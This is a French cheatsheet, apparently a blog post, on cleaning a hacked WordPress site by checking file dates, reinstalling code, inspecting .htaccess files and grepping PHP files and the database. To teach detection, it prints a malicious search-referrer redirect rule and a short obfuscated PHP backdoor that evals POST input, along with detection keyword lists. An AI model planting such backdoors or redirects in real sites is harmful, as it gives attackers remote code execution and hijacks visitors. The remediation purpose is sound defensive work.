Cheatsheet

Réparer un WordPress hacké

Malheureusement, ça n’arrive ni qu’aux autres, ni rarement. WordPress faisant tourner 25% des sites du Web, c’est une cible de choix pour les hackers. Les failles sont souvent connues et des outils de détection automatique existent. Par conséquent, les méchants n’ont donc qu’à laisser tourner un logiciel pour automatiquement repérer et infecter les sites vulnérables… et il se peut que ce soit le votre.

Il n’y a pas de mystère, si votre site intéresse, c’est parce qu’il permet de rapporter de l’argent aux hackers. En général ce n’est pas vous personellement qu’ils visent, mais l’accès à un hébergement. Ceci leur permet soit d’améliorer leur référencement et/ou de rediriger du trafic vers une plateforme e-commerce (viagra, faux médicaments…), soit d’envoyer des mails de spam depuis votre hébergement.

Le mal est fait, comment pouvons-nous réparer ça ? On peut commencer par tenter de comprendre quand notre site a été infecté en listant les fichiers modifiés récemment sur le serveurs :

# liste les fichiers dans www par date de dernière modification
find www/ -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort -r

Il est possible de trier les fichier selon leur date de dernière modification très finement avec la commande find. Selon ce premier diagnostique, vous allez pouvoir inspecter les quelques fichiers modifiés s’il y en a peu, ou sortir la grosse artillerie s’ils sont nombreux. On prendra ici comme exemple le cas le plus extrême où les fichiers sont trop nombreux. Dans le cas où vous n’en avez pas trop, la logique reste la même, il suffit de ne pas tout effacer.

Couper dans le vif

Avant tout, désactivez l’ensemble des plugins. Ensuite, le plus simple va être de ne garder que les dossiers et fichiers propres à votre site, le reste sera réinstallé depuis une source sure.

On va donc tout supprimer et ne garder que le dossier wp-content. C’est là que se trouvent les fichiers de votre thème, vos plugins et vos médias uploadés (images, pdf, vidéos…). WordPress sera re-téléchargé depuis le site officiel. Il en va de même pour chacun des plugins (ils se trouvent dans /wp-content/plugins). Ce sera autant de code en moins à passer en revue !

PS: pour les plugins, téléchargez-les directement via votre navigateur et uploadez-les via votre logiciel ftp dans le dossier /wp-content/plugins. Un WordPress vérolé pourrait télécharger des plugins modifiés sans que vous ne vous en rendiez compte.

Maintenant qu’il ne reste que l’indispensable, nous allons scanner l’ensemble des fichiers exécutables – les .php – à la recherche de code malveillant. On va également compter et inspecter les .htaccess pour vérifier s’il n’y a rien d’anormal (redirections…). Pour cela, il faut que vous vous connectiez en ssh sur votre hébergement. Si vous n’avez pas trop idée de ce qu’est ssh et de comment on y accède, OVH possède un guide qui pourra vous aider.

Redirections htaccess

# on commence par compter le nombre de fichier .htaccess
find www/ -name .htaccess -type f | wc -l
26

# puis on affiche la liste
find www/ -name .htaccess -type f | sort
www//.htaccess
www//nouveau-site/.htaccess
www//wp-content/envato-backups/.htaccess
www//wp-content/plugins/akismet/.htaccess
www//wp-content/uploads/wc-logs/.htaccess
www//wp-content/uploads/woocommerce_uploads/.htaccess
[…]

Le nombre et la liste changent en fonction de votre configuration. Maintenant, il va falloir manuellement inspecter chacun d’eux et vérifier qu’il n’y a rien d’étrange dedans. S’il ressemble à cela, c’est qu’il est surement infecté :

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sitebizarre.com/viagra.php [R,L]
</IfModule>

Dans ce cas, repérer et copier les redirections que vous avez ajouté vous-même et effacez le reste. Par défaut, le .htaccess de WordPress ressemble à ceci :

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

Mais certains plugins légitimes y ajoutent de nombreuses choses tout à fait fondées. Le plus simple est de désactiver vos plugins et de les réactiver plus tard (ils régénéreront ainsi le code nécessaire). Cela ne dispense absolument en rien de re-télécharger l’ensemble des plugins.

Code PHP

Le code malveillant est souvent encodé en base 64 pour masquer son fonctionnement et être plus difficilement détectable. Il est ainsi décodé par base64_decode puis l’appel à la fonction eval permet de l’exécuter. Le code malveillant peut prendre différentes formes. Il peut être assez facilement repérable s’il est dans un fichier au nom bizarre tel que l3xs93dkd.php, mais il peut aussi être caché en plein milieu de code légitime. Pour vous donnez une idée, un bout de code malveillant peut ressembler à ça :

<?php
$lfe46= "oe6_sbta4pdc";$cce8= strtolower ( $lfe46[5]. $lfe46[7].$lfe46[4].$lfe46[1] .$lfe46[2]. $lfe46[8]. $lfe46[3].$lfe46[10]. <?php
$lfe46[1].$lfe46[11].$lfe46[0].$lfe46[10]. $lfe46[1]) ;$qhoy34= strtoupper ($lfe46[3].$lfe46[9]. $lfe46[0].$lfe46[4].$lfe46[6]); if ( isset ( ${$qhoy34} [ 'n503876' ]) ){ eval ( $cce8 ( ${$qhoy34} [ 'n503876' ] ) ) ;} ?>

On va ainsi tenter de détecter les fichiers infectés en scannant l’ensemble des .php et en testant la présence de certains mots-clefs. On teste ici des mots à caractère spam mais aussi des fonctions php assez peut utilisée dans WordPress pour un usage classique. Par exemple eval et base64_decode. Vous pouvez rajouter d’autres mots-clefs en les séparant par des “|”.

grep --include "*.php" -rlE 'viagra|pharma|Tadacip|eval|base64_decode|socket_shutdown|socket_close|socket_clear_error|fopen|curl' www/
www//wp-content/themes/twentyfifteen/404.php
www//wp-content/themes/twentyfifteen/content-link.php
www//wp-content/themes/twentyfourteen/css/sql56.php
www//wp-content/themes/twentyfourteen/genericons/css.php
www//wp-content/themes/twentythirteen/images/option.php
www//wp-content/themes/twentythirteen/sidebar.php
[…]

# on fera le même travail avec une expression régulière permettant de détecter le base 64
grep --include "*.php" -rlE '[^-A-Za-z0-9+/=]|=[^=]|={3,}$' www/wp-content
…

C’est là que commence le travail de fourmis. Vérifier chaque fichier, faire une recherche Google si on est pas certain de son utilité, l’effacer si nécessaire, nettoyer le code au besoin… et recommencer. Le plus simple est bien souvent d’écraser le code avec une sauvegarde du thème dont on est sûr (ou re-télécharger si c’est un thème public); et de faire la même chose avec les plugins.

Par exemple, ici le fichier wp-content/themes/twentyfourteen/css/sql56.php n’a rien de légitime. Déjà son nom est un peu louche, en plus un fichier php n’a rien à faire dans le dossier css dédié aux feuilles de styles… Ce sont des détails qui doivent vous mettre la puce à l’oreille !

Base de données

Une fois que vous avez fait le ménage dans vos fichiers, il reste la base de données. Elle peut tout à fait contenir du code malicieux qui sera exécuté par une quelconque fonction ! Le plus sage, et le plus lent, est de passer manuellement en revue la base de données. Pour s’épauler, et pour faire un double-check, il est toujours sage de faire une recherche automatique. Vous pouvez tapez directement du SQL à partir de la ligne de commande MySQL ou de phpMyAdmin. Mais il y a aussi le très bon plugin Search Regex qui permet d’effectuer des recherches poussées dans votre BDD WordPress.

Comme nous l’avons fait pour les fichiers, nous allons rechercher les mots-clefs louches et du texte encodé en base 64 dans la base de données. Nous utiliserons cette REGEX [^-A-Za-z0-9+/=]|=[^=]|={3,}$ ainsi que les mots suivants :

viagra
pharma
Tadacip
eval
base64_decode
socket_shutdown
socket_close
socket_clear_error
fopen
curl

Si des chaines malicieuses sont détectées, il faut les supprimer. Le plus simple reste de passer par phpMyAdmin. Vous effacerez en général la ligne concernée. Si toutefois, le code est mixé à du texte légitime, il faudra dans ce cas éditer la ligne et n’effacer que l’endroit incriminé.

Si vous avez pu repérer avec exactitude la date de la compromission de votre WordPress et que vous disposez de sauvegardes, restaurez votre base de données à la date de la dernière sauvegarde saine (en effectuant toutefois une recherche pour vous assurer que tout est normal). Néanmoins, vous perdrez inévitablement les données créées entre temps. Selon l’usage de votre WordPress, ça peut être plus ou moins tolérable… à vous de voir.

Vous avez réussi à remettre la bête à flot ? N’hésitez pas à faire part de votre expérience dans les commentaires !